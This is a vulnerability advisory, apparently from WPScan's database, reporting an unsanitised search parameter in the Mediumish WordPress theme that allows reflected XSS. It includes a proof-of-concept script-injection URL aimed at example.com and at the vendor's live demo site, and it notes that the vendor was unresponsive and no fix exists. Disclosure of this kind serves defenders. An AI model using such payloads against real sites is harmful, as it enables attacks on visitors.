Themes Vulnerabilities
Mediumish <= 1.0.47 - Unauthenticated Reflected Cross-Site Scripting (XSS)
Description
The search feature of the theme does not properly sanitise it's 's' GET parameter before output it back the page, leading to the Cross-SIte Scripting issue.
The vendor has been unresponsive to any form of contact
Proof of Concept
https://example.com/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E https://www.themepush.com/demo-mediumish/?post_type=post&s=%22%3E%3Cscript%3Ealert(/XSS/)%3C/script%3E
Affects Themes
No known fix References
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
m0ze
Submitter
m0ze
Submitter website
Submitter twitter
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2021-05-16 (about 3 years ago)
Added
2021-05-16 (about 3 years ago)
Last Updated
2021-05-17 (about 3 years ago)
WPScan 